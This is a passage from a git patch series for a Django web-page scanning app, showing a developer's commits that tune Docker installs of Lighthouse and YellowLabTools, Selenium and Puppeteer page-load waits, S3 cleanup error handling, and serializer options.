+                'DEBUG=ylt:* node bin/cli.js',  # yellowlabtools
                 self.page.page_url,
                 f'--device={self.configs["device"]}'
                 ], 

From efbb05705e26ca606542d423d386f637fe322e75 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:14:36 -0500
Subject: [PATCH 159/752] testing debug options

---
 app/api/utils/yellowlab.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index be0a1446..2c0e5c7f 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -18,7 +18,7 @@ def __init__(self, scan=None, configs=None):
     
     def init_audit(self):
         proc = subprocess.Popen([
-                'DEBUG=ylt:* node bin/cli.js',  # yellowlabtools
+                'yellowlabtools DEBUG=ylt:* node bin/cli.js',  # yellowlabtools
                 self.page.page_url,
                 f'--device={self.configs["device"]}'
                 ], 

From 4e65803cb28dfe8f7c85e5c83b4ce745d14896e5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:19:00 -0500
Subject: [PATCH 160/752] testing debug options

---
 app/api/utils/yellowlab.py | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 2c0e5c7f..e952cbff 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -18,7 +18,9 @@ def __init__(self, scan=None, configs=None):
     
     def init_audit(self):
         proc = subprocess.Popen([
-                'yellowlabtools DEBUG=ylt:* node bin/cli.js',  # yellowlabtools
+                'yellowlabtools',
+                'DEBUG=ylt:*', 
+                'node bin/cli.js',
                 self.page.page_url,
                 f'--device={self.configs["device"]}'
                 ], 

From c737ad90d4d4dc004e55370051dbc8b40cc8b0c1 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:28:40 -0500
Subject: [PATCH 161/752] trying to install puppeteer globally

---
 Dockerfile | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 3c32d09f..9ee50e6e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,9 +34,6 @@ RUN node --stack-size=262000
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
-# installing lighthouse & yellowlabtools -> yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
-
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
@@ -44,6 +41,12 @@ ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
+# try installing puppeteer before yellowlabs
+RUN npm install -g puppeteer
+
+# installing lighthouse & yellowlabtools -> yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version

From 9a53c8fc213912adb46b6d71a58b3a7dfaf0570c Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:42:12 -0500
Subject: [PATCH 162/752] testing new config

---
 Dockerfile | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 9ee50e6e..e5ff558f 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -35,10 +35,10 @@ ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
 # telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+# ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
 # telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+# ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
 # try installing puppeteer before yellowlabs

From f73f05e432b7838c39f423fe9429ce99c42f8f7b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:51:50 -0500
Subject: [PATCH 163/752] new configs

---
 Dockerfile                 | 4 ++--
 app/api/utils/yellowlab.py | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index e5ff558f..9ee50e6e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -35,10 +35,10 @@ ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
 # telling Puppeteer to skip installing Chrome
-# ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
 # telling phantomas where Chromium binary is and that we're in docker
-# ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
 # try installing puppeteer before yellowlabs
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index e952cbff..c5b2c857 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -19,7 +19,7 @@ def __init__(self, scan=None, configs=None):
     def init_audit(self):
         proc = subprocess.Popen([
                 'yellowlabtools',
-                'DEBUG=ylt:*', 
+                'DEBUG=*', 
                 'node bin/cli.js',
                 self.page.page_url,
                 f'--device={self.configs["device"]}'

From a1d8b9d6d5518be0964815522056ab39779f61d0 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 10:59:45 -0500
Subject: [PATCH 164/752] dropped version of yellowlab back to 2.2.0

---
 Dockerfile | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index 9ee50e6e..c03f0c3e 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -34,6 +34,9 @@ RUN node --stack-size=262000
 ENV NODE_OPTIONS=--max_old_space_size=262000
 ENV NODE_OPTIONS="--max-old-space-size=262000"
 
+# installing lighthouse & yellowlabtools -> yellowlabtools
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
+
 # telling Puppeteer to skip installing Chrome
 ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
 
@@ -41,12 +44,6 @@ ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true
 ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
 ENV DOCKERIZED yes
 
-# try installing puppeteer before yellowlabs
-RUN npm install -g puppeteer
-
-# installing lighthouse & yellowlabtools -> yellowlabtools
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
-
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version

From 68aaad05280d5eab55dd82fe47a7b4d3c773ba15 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 11:06:00 -0500
Subject: [PATCH 165/752] removed debug configs

---
 app/api/utils/yellowlab.py | 2 --
 1 file changed, 2 deletions(-)

diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index c5b2c857..864436a4 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -19,8 +19,6 @@ def __init__(self, scan=None, configs=None):
     def init_audit(self):
         proc = subprocess.Popen([
                 'yellowlabtools',
-                'DEBUG=*', 
-                'node bin/cli.js',
                 self.page.page_url,
                 f'--device={self.configs["device"]}'
                 ], 

From 0f921a80ef479cf727bbb0d6c8937daf4f37b46b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 11:13:17 -0500
Subject: [PATCH 166/752] cleaning things up

---
 Dockerfile             | 25 ++++++++++++-------------
 docker-compose.dev.yml | 16 ----------------
 2 files changed, 12 insertions(+), 29 deletions(-)

diff --git a/Dockerfile b/Dockerfile
index c03f0c3e..16550b0b 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,6 +1,17 @@
 FROM python:3.9-slim
 ENV PYTHONUNBUFFERED 1
 
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=262000
+ENV NODE_OPTIONS="--max-old-space-size=262000"
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
+
+# telling phantomas where Chromium binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
+ENV DOCKERIZED yes
+
 # create the app user
 RUN addgroup --system app && adduser --system app 
 
@@ -26,24 +37,12 @@ RUN apt-get update && apt-get install -y libfreetype6 \
 RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
     && npm install -g n && n lts
 
+# cleaning npm
 RUN npm cache clean --force
 
-# increasing allocated memory to node
-RUN export NODE_OPTIONS="--max-old-space-size=262000"
-RUN node --stack-size=262000
-ENV NODE_OPTIONS=--max_old_space_size=262000
-ENV NODE_OPTIONS="--max-old-space-size=262000"
-
 # installing lighthouse & yellowlabtools -> yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true 
-
-# telling phantomas where Chromium binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium
-ENV DOCKERIZED yes
-
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 
 RUN chromium --no-sandbox --version
 RUN chromium --disable-dev-shm-usage  --version
diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml
index 039094e5..f6f120a9 100644
--- a/docker-compose.dev.yml
+++ b/docker-compose.dev.yml
@@ -61,22 +61,6 @@ services:
       - db
 
 
-  # yellowlab:
-  #   container_name: yellowlab
-  #   privileged: true
-  #   restart: always
-  #   image: ousamabenyounes/yellowlabtools
-  #   ports:
-  #     - "8383"
-  #   env_file:
-  #     - ./env/.env.dev
-  #   depends_on:
-  #     - redis
-  #     - app
-  #     - celery
-  #     - db
-
-
   nginx-proxy:
     container_name: nginx-proxy
     build: nginx

From 6b83eeeb848fe185c43b74a9ec50c70abb9bcc7b Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 12:15:16 -0500
Subject: [PATCH 167/752] testing new driver wait methods

---
 app/api/utils/driver_p.py | 23 ++++++++++++-
 app/api/utils/driver_s.py | 70 +++++++++++++++++++++++++++++++--------
 app/api/utils/image.py    |  8 +++--
 app/api/utils/scanner.py  | 40 +++++++++++++---------
 4 files changed, 108 insertions(+), 33 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 13472dba..90d92df0 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -23,7 +23,7 @@ async def driver_init(
             'width': int(sizes[0]),
             'height': int(sizes[1]), 
         },
-        'timeout': wait_time * 1000
+        # 'timeout': wait_time * 1000  # replaced by 
     }
 
     driver = await launch(
@@ -49,6 +49,27 @@ async def interact_with_page(page):
 
 
 
+async def wait_for_page(page, max_wait_time=30):
+    """
+    Expcets the puppeteer page instance and waits 
+    for either the page to fully load or the max_wait_time
+    to expire before returning.
+
+    Returns -> Page <pypt:instance>
+    """
+
+    print(f'waiting for page load or {str(max_wait_time)} seconds')
+
+    timeout = 0
+    page_state = 'loading'
+
+    while timeout < max_wait_time and page_state != 'complete':
+        page_state = await page.evaluate('document.readyState')
+        print(f'document state is {page_state}')
+        time.sleep(1)
+        timeout += 1
+
+    return page
 
 
 
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index 061b5e92..ba109bbd 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -6,11 +6,11 @@
 
 
 def driver_init(
-    window_size='1920,1080', 
-    device='desktop',
-    script_timeout=30,
-    load_timeout=30,
-    wait_time=15, 
+        window_size='1920,1080', 
+        device='desktop',
+        script_timeout=30,
+        load_timeout=30,
+        wait_time=15, 
     ):
 
     sizes = window_size.split(',')
@@ -47,9 +47,9 @@ def driver_init(
         options.add_experimental_option("mobileEmulation", mobile_emulation)
 
     driver = webdriver.Chrome(options=options)
-    driver.set_page_load_timeout(load_timeout)
-    driver.set_script_timeout(script_timeout)
-    driver.implicitly_wait(wait_time)
+    # driver.set_page_load_timeout(load_timeout)
+    # driver.set_script_timeout(script_timeout)
+    # driver.implicitly_wait(wait_time)
 
     
     return driver
@@ -122,24 +122,28 @@ def interact_with_page(driver):
 
 
     resolved = False
+    page_state = 'loading'
     wait_time = 0
 
     # actions before comparing network logs
     interact_with_page(driver)
     time.sleep(min_wait_time)
 
-    while not resolved and wait_time < max_wait_time:
+    while wait_time < max_wait_time and page_state != 'complete':
         # get first set of logs
-        list_one = get_request_list(driver=driver)
+        # list_one = get_request_list(driver=driver)
         
         # wait 5 sec or <interval:int> sec for request to resolve
         time.sleep(interval)
         
         # get second set of logs
-        list_two = get_request_list(driver=driver)
+        # list_two = get_request_list(driver=driver)
         
         # check if logs are equal
-        resolved = numpy.array_equal(list_one, list_two)
+        # resolved = numpy.array_equal(list_one, list_two)
+
+        page_state = driver.execute_script('document.readyState')
+        print(f'document state is {page_state}')
         
         wait_time += interval
 
@@ -147,11 +151,49 @@ def interact_with_page(driver):
 
 
 
+def get_data(driver, max_wait_time):
+    """
+    Expects the driver instance and max_wait_time <int> 
+    then returns both the page-source (html) and console-logs (logs).
+
+    Method waits for the allocated `max_wait_time`
+    before continuing with data collection.
+
+    Returns -> data = {
+        "html": <str>,
+        "logs": <dict>
+    }
+    """
+    timeout = 0
+    page_state = 'loading'
+    html = None
+    logs = None
+
+    while timeout < max_wait_time and page_state != 'complete':
+        page_state = driver.execute_script('document.readyState')
+        print(f'document state is {page_state}')
+        time.sleep(1)
+        timeout += 1
+
+    try:
+        html = driver.page_source()
+        logs = driver.get_log('browser')
+    except Exception as e:
+        print(e)
+
+    data = {
+        "html": html,
+        "logs": logs
+    }
+
+    return data
+
+
 
 def quit_driver(driver):
-    ''' 
+    """ 
     Quits and reaps all child processes in docker
-    '''
+    """
     print('Quitting session: %s' % driver.session_id)
     driver.quit()
     try:
diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index a6684863..ba08f828 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -1,5 +1,5 @@
 from .driver_s import driver_init, driver_wait, quit_driver
-from .driver_p import driver_init as driver_init_p
+from .driver_p import driver_init as driver_init_p, wait_for_page
 from selenium import webdriver
 from ..models import Site, Scan, Test, Mask
 from selenium.webdriver.chrome.options import Options
@@ -323,12 +323,15 @@ def get_page():
         
         page_options = {
             'waitUntil': 'networkidle0', 
-            'timeout': int(self.configs.get('max_wait_time', 30))*1000
+            # 'timeout': int(self.configs.get('max_wait_time', 30))*1000
         }
 
         # requesting page_url to get height of 
         await page.goto(_page.page_url, page_options)
 
+        # waiting for page to load
+        await wait_for_page(page=_page)
+
         # getting full page_height
         page_height = int(sizes[1])
         if self.configs.get('auto_height', True):
@@ -435,6 +438,7 @@ def save_image(*args, **kwargs):
                 await page.mouse.move(0, 0)
                 await page.mouse.move(0, 100)
                 time.sleep(int(self.configs.get('min_wait_time', 10)))
+                await wait_for_page(page=_page)
             
                 # get screenshot
                 await page.screenshot({'path': f'{pic_id}.png'})
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index b719d292..28e27ad9 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -1,5 +1,5 @@
 from .driver_s import driver_init as driver_s_init, quit_driver
-from .driver_s import driver_wait
+from .driver_s import driver_wait, get_data as get_s_driver_data
 from .driver_p import get_data
 from ..models import *
 from .automations import automation
@@ -79,24 +79,28 @@ def first_scan(self):
         
         if self.configs['driver'] == 'selenium':
             self.driver.get(self.page.page_url)
+            s_driver_data = get_s_driver_data(
+                driver=self.driver, 
+                max_wait_time=self.configs['max_wait_time']
+            )
             if 'html' in self.scan.type or 'full' in self.scan.type:
-                html = self.driver.page_source
+                html = s_driver_data['html']
             if 'logs' in self.scan.type or 'full' in self.scan.type:
-                logs = self.driver.get_log('browser')
+                logs = s_driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
                 images = Image(scan=self.scan, configs=self.configs).scan_s(driver=self.driver)
             quit_driver(self.driver)
         else:
-            driver_data = asyncio.run(
+            p_driver_data = asyncio.run(
                 get_data(
                     url=self.page.page_url, 
                     configs=self.configs
                 )
             )
             if 'html' in self.scan.type or 'full' in self.scan.type:
-                html = driver_data['html']
+                html = p_driver_data['html']
             if 'logs' in self.scan.type or 'full' in self.scan.type:
-                logs = driver_data['logs']
+                logs = p_driver_data['logs']
             if 'vrt' in self.scan.type or 'full' in self.scan.type:
                 images = asyncio.run(Image(scan=self.scan, configs=self.configs).scan_p())
         
@@ -157,24 +161,28 @@ def second_scan(self):
         
         if self.configs['driver'] == 'selenium':
             self.driver.get(self.page.page_url)
-            if 'html' in second_scan.type or 'full' in second_scan.type:
-                html = self.driver.page_source
-            if 'logs' in second_scan.type or 'full' in second_scan.type:
-                logs = self.driver.get_log('browser')
+            s_driver_data = get_s_driver_data(
+                driver=self.driver, 
+                max_wait_time=self.configs['max_wait_time']
+            )
+            if 'html' in self.scan.type or 'full' in self.scan.type:
+                html = s_driver_data['html']
+            if 'logs' in self.scan.type or 'full' in self.scan.type:
+                logs = s_driver_data['logs']
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
                 images = Image(scan=self.second_scan, configs=self.configs).scan_s(driver=self.driver)
             quit_driver(self.driver)
         else:
-            driver_data = asyncio.run(
+            p_driver_data = asyncio.run(
                 get_data(
                     url=self.page.page_url, 
                     configs=self.configs
                 )
             )
             if 'html' in second_scan.type or 'full' in second_scan.type:
-                html = driver_data['html']
+                html = p_driver_data['html']
             if 'logs' in second_scan.type or 'full' in second_scan.type:
-                logs = driver_data['logs']
+                logs = p_driver_data['logs']
             if 'vrt' in second_scan.type or 'full' in second_scan.type:
                 images = asyncio.run(Image(scan=self.second_scan, configs=self.configs).scan_p())
         
@@ -465,18 +473,18 @@ def _html_and_logs(scan_id, test_id, automation_id):
 
         if scan.configs['driver'] == 'puppeteer':
             
-            driver_data = asyncio.run(
+            p_driver_data = asyncio.run(
                 get_data(
                     url=scan.page.page_url, 
                     configs=scan.configs
                 )
             )
             if 'html' in scan.type or 'full' in scan.type:
-                html = driver_data['html']
+                html = p_driver_data['html']
                 scan = Scan.objects.get(id=scan_id)
                 save_html(html, scan)
             if 'logs' in scan.type or 'full' in scan.type:
-                logs = driver_data['logs']
+                logs = p_driver_data['logs']
                 scan = Scan.objects.get(id=scan_id)
                 scan.logs = logs
                 scan.save()

From 28439d422e50a82eebc2584335fe43731949a8e9 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 12:28:03 -0500
Subject: [PATCH 168/752] new method for gatherinmg selenium html and logs data

---
 app/api/utils/scanner.py | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 28e27ad9..d561270b 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -460,12 +460,16 @@ def _html_and_logs(scan_id, test_id, automation_id):
                 device=scan.configs['device']
             )
             driver.get(scan.page.page_url)
+            s_driver_data = get_s_driver_data(
+                driver=self.driver, 
+                max_wait_time=self.configs['max_wait_time']
+            )
             if 'html' in scan.type or 'full' in scan.type:
-                html = driver.page_source
+                html = s_driver_data['html']
                 scan = Scan.objects.get(id=scan_id)
                 save_html(html, scan)
             if 'logs' in scan.type or 'full' in scan.type:
-                logs = driver.get_log('browser')
+                logs = s_driver_data['logs']
                 scan = Scan.objects.get(id=scan_id)
                 scan.logs = logs
                 scan.save()

From e5397151bc94e4953fb6401331dd152c15f823af Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 12:31:37 -0500
Subject: [PATCH 169/752] removed self bug

---
 app/api/utils/scanner.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index d561270b..084809c5 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -461,8 +461,8 @@ def _html_and_logs(scan_id, test_id, automation_id):
             )
             driver.get(scan.page.page_url)
             s_driver_data = get_s_driver_data(
-                driver=self.driver, 
-                max_wait_time=self.configs['max_wait_time']
+                driver=driver, 
+                max_wait_time=scan.configs['max_wait_time']
             )
             if 'html' in scan.type or 'full' in scan.type:
                 html = s_driver_data['html']

From 16f4b1664a30f3391173225dde9f7b19b61ea1eb Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 12:37:49 -0500
Subject: [PATCH 170/752] new driver wait configs

---
 app/api/utils/driver_p.py | 7 +++++--
 app/api/utils/driver_s.py | 4 ++--
 2 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 90d92df0..7aa271f8 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -51,7 +51,7 @@ async def interact_with_page(page):
 
 async def wait_for_page(page, max_wait_time=30):
     """
-    Expcets the puppeteer page instance and waits 
+    Expects the puppeteer page instance and waits 
     for either the page to fully load or the max_wait_time
     to expire before returning.
 
@@ -114,8 +114,10 @@ async def get_data(url, configs, *args, **options):
 
     page_options = {
         'waitUntil': 'networkidle0', 
-        'timeout': configs['max_wait_time']*1000
+        # 'timeout': configs['max_wait_time']*1000
     }
+
+    
     viewport = {
         'width': int(sizes[0]),
         'height': int(sizes[1]),
@@ -190,6 +192,7 @@ def record_error(error):
     await page.goto(url, page_options) 
 
     # await page.waitForNavigation(navWaitOpt)
+    await wait_for_page(page=page)
     await interact_with_page(page)
     html = await page.content()
     
diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index ba109bbd..f3cb8bfc 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -142,7 +142,7 @@ def interact_with_page(driver):
         # check if logs are equal
         # resolved = numpy.array_equal(list_one, list_two)
 
-        page_state = driver.execute_script('document.readyState')
+        page_state = driver.execute_script('return document.readyState')
         print(f'document state is {page_state}')
         
         wait_time += interval
@@ -170,7 +170,7 @@ def get_data(driver, max_wait_time):
     logs = None
 
     while timeout < max_wait_time and page_state != 'complete':
-        page_state = driver.execute_script('document.readyState')
+        page_state = driver.execute_script('return document.readyState')
         print(f'document state is {page_state}')
         time.sleep(1)
         timeout += 1

From e2b8214d19772fc7dcdf7fa59e6df01773bf03dd Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 12:45:35 -0500
Subject: [PATCH 171/752] fixed minor formatting bug

---
 app/api/utils/driver_s.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/utils/driver_s.py b/app/api/utils/driver_s.py
index f3cb8bfc..8dc42686 100644
--- a/app/api/utils/driver_s.py
+++ b/app/api/utils/driver_s.py
@@ -176,7 +176,7 @@ def get_data(driver, max_wait_time):
         timeout += 1
 
     try:
-        html = driver.page_source()
+        html = driver.page_source
         logs = driver.get_log('browser')
     except Exception as e:
         print(e)

From fe0c2559babb6ac02e1c6d939799d6139b73c094 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 13 Dec 2023 13:13:31 -0500
Subject: [PATCH 172/752] fixed some small bugs

---
 app/api/utils/driver_p.py | 1 -
 app/api/utils/image.py    | 4 ++--
 2 files changed, 2 insertions(+), 3 deletions(-)

diff --git a/app/api/utils/driver_p.py b/app/api/utils/driver_p.py
index 7aa271f8..cedbf86e 100644
--- a/app/api/utils/driver_p.py
+++ b/app/api/utils/driver_p.py
@@ -117,7 +117,6 @@ async def get_data(url, configs, *args, **options):
         # 'timeout': configs['max_wait_time']*1000
     }
 
-    
     viewport = {
         'width': int(sizes[0]),
         'height': int(sizes[1]),
diff --git a/app/api/utils/image.py b/app/api/utils/image.py
index ba08f828..789b9690 100644
--- a/app/api/utils/image.py
+++ b/app/api/utils/image.py
@@ -330,7 +330,7 @@ def get_page():
         await page.goto(_page.page_url, page_options)
 
         # waiting for page to load
-        await wait_for_page(page=_page)
+        await wait_for_page(page=page)
 
         # getting full page_height
         page_height = int(sizes[1])
@@ -438,7 +438,7 @@ def save_image(*args, **kwargs):
                 await page.mouse.move(0, 0)
                 await page.mouse.move(0, 100)
                 time.sleep(int(self.configs.get('min_wait_time', 10)))
-                await wait_for_page(page=_page)
+                await wait_for_page(page=page)
             
                 # get screenshot
                 await page.screenshot({'path': f'{pic_id}.png'})

From 972365611342a7589e80ec3224759af66a64b726 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Thu, 4 Jan 2024 13:32:58 -0700
Subject: [PATCH 173/752] added exception handeling for resource cleanup

---
 app/api/tasks.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index d0277d24..346b1c87 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -425,8 +425,8 @@ def delete_page_s3_bg(page_id, site_id, *args, **kwargs):
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/')).delete()
-    except:
-        pass
+    except Exception as e:
+        print(e)
     return
 
 @shared_task
@@ -442,8 +442,8 @@ def delete_scan_s3_bg(scan_id, site_id, page_id):
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{scan_id}/')).delete()
-    except:
-        pass
+    except Exception as e:
+        print(e)
     return
     
 
@@ -460,8 +460,8 @@ def delete_test_s3_bg(test_id, site_id, page_id):
     try:
         bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME)
         bucket.objects.filter(Prefix=str(f'static/sites/{site_id}/{page_id}/{test_id}/')).delete()
-    except:
-        pass
+    except Exception as e:
+        print(e)
     return
 
 

From a192992342815d18cea38b387adaa232a3473b8f Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 10 Jan 2024 08:38:12 -0700
Subject: [PATCH 174/752] updated comment

---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 16550b0b..96acc519 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -40,7 +40,7 @@ RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
 # cleaning npm
 RUN npm cache clean --force
 
-# installing lighthouse & yellowlabtools -> yellowlabtools
+# installing lighthouse & yellowlabtools
 RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools@2.2.0
 
 # setting --no-sandbox & --disable-dev-shm-usage for Phantomas 

From ecbab7cbf5967ba175f1472315c5a5db96a527d5 Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 17 Jan 2024 10:43:14 -0700
Subject: [PATCH 175/752] fixed 'lean' attr for scans and tests

---
 app/api/v1/ops/services.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 7339b29f..51242d7c 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -974,7 +974,7 @@ def get_scans(request):
     result_page = paginator.paginate_queryset(scans, request)
     serializer_context = {'request': request,}
     serialized = ScanSerializer(result_page, many=True, context=serializer_context)
-    if lean is not None:
+    if str(lean).lower() == 'true':
         serialized = SmallScanSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
@@ -1462,7 +1462,7 @@ def get_tests(request):
     result_page = paginator.paginate_queryset(tests, request)
     serializer_context = {'request': request,}
     serialized = TestSerializer(result_page, many=True, context=serializer_context)
-    if lean is not None:
+    if str(lean).lower() == 'true':
         serialized = SmallTestSerializer(result_page, many=True, context=serializer_context)
         
     response = paginator.get_paginated_response(serialized.data)
@@ -2559,7 +2559,7 @@ def get_testcases(request):
     result_page = paginator.paginate_queryset(testcases, request)
     serializer_context = {'request': request,}
     serialized = TestcaseSerializer(result_page, many=True, context=serializer_context)
-    if lean is not None:
+    if str(lean).lower() == 'true':
         serialized = SmallTestcaseSerializer(result_page, many=True, context=serializer_context)
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')

From 392b36681e763d451819bf74dac8842eaf661c6a Mon Sep 17 00:00:00 2001
From: Landon <l.rodden52@gmail.com>
Date: Wed, 17 Jan 2024 11:23:43 -0700
Subject: [PATCH 176/752] updated badge

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
